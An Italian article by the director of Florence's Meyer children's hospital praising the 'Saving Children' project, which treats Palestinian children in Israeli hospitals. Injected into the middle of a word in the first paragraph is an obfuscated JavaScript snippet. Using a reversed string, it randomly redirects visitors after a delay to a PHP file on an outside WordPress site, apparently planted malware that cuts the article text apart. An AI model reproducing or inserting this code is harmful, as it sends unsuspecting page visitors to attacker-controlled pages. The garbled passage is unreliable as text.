'Saving Children', un progetto per i bambini palestinesi

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Settecento bambini palestinesi curati in un anno negli ospedali israeliani di Tel Aviv, Haifa e Gerusalemme. Bambini che grazie al progetto ‘Saving Children’, voluto e promosso dalla Regione Toscana con la Fondazione Peres, l’ospedale pediatrico Meyer e il contributo di Unicoop, hanno visto negli israeliani non più i soldati che sparano e abbattono le case con i carri armati ma le persone che li hanno medicati, occup (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andosi della loro salute e delle loro famiglie. Un progetto il cui valore umano è straordinario, perchè getta i germogli di pace tra due popoli in conflitto. ‘Questa la forza di ‘Salviamo i bambini. La Medicina al servizio della pace’, giustamente sottolineata dal presidente della giunta regionale Claudio Martini, dal Nobel per la pace Shimon Peres e dai medici israeliani e palestinesi di recente ospiti a Firenze per il convegno di aggiornamento sui trapianti di midollo osseo e sui progressi della neurochirurgia. Un progetto che compie un anno, anniversario che meglio non si poteva celebrare: oltre alla Toscana, ora vi aderiscono anche le regioni Emilia Romagna, Umbria e Calabria.
E la Toscana ne è stata ancora una volta il ‘motore’. Qui è stato firmato il protocollo d’intesa che consente un ulteriore sviluppo del progetto di cooperazione sanitaria internazionale. Il Meyer vuole mantenere in modo forte l’impegno pluriennale di ‘Saving Children’ che ha superato gli obiettivi che inizialmente si era dato, arrivando a risultati rilevanti: dei 700 bambini curati nelle maggiori strutture sanitarie israeliane, 200 sono stati sottoposti ad interventi chirurgici a cuore aperto. Non solo. Gli altri piccoli pazienti, vittime innocenti della guerra e della violenza, sono stati curati per patologie neurochirurgiche, ortopediche e per le ustioni. Parallelamente all’attività di cura, il progetto ha avviato iniziative di formazione rivolte alla salute dei bambini per il personale sanitario palestinese presso ospedali israeliani e conferenze annuali sulle problematiche pediatriche emergenti. In questo ambito il convegno organizzato al Demidoff hotel di Pratolino è il terzo appuntamento del percorso formativo. Il primo avvenne nel dicembre del 2003 sul Mar Morto, in Giordania. In quel contesto ottanta medici israeliani, palestinesi e toscani si confrontarono sui temi della gastroenterologia, della cardiologia e delle malattie respiratorie. Successivamente a Nazareth si svolse la seconda conferenza di aggiornamento sulla pediatria d’urgenza. Ora la tappa fiorentina che ha nuovamente riunito i pediatri dei tre Paesi.
E domani? Come ha sottolineato Shimon Peres l’impegno è di poter offrire cure e trattamenti a mille bambini all’anno, a partire dal 2005, includendo nel progetto ‘Saving Children’ anche la cura dei tumori. L’attenzione alla salute dei bambini, ne siamo sicuri, avrà un effetto significativo per la comunità palestinese, facendo emergere quella voglia di pace presente nelle due società, tra persone che al di là della loro appartenenza geografica o politica, grazie al progetto si sono incontrate, si sono conosciute, si sono aiutate. Un prezioso terreno di rapporti tra uomini e donne nel quale è possibile piantare il seme della pace e del dialogo.
di Paolo Morello Marchese, direttore generale Azienda ospedaliera-universitaria Meyer

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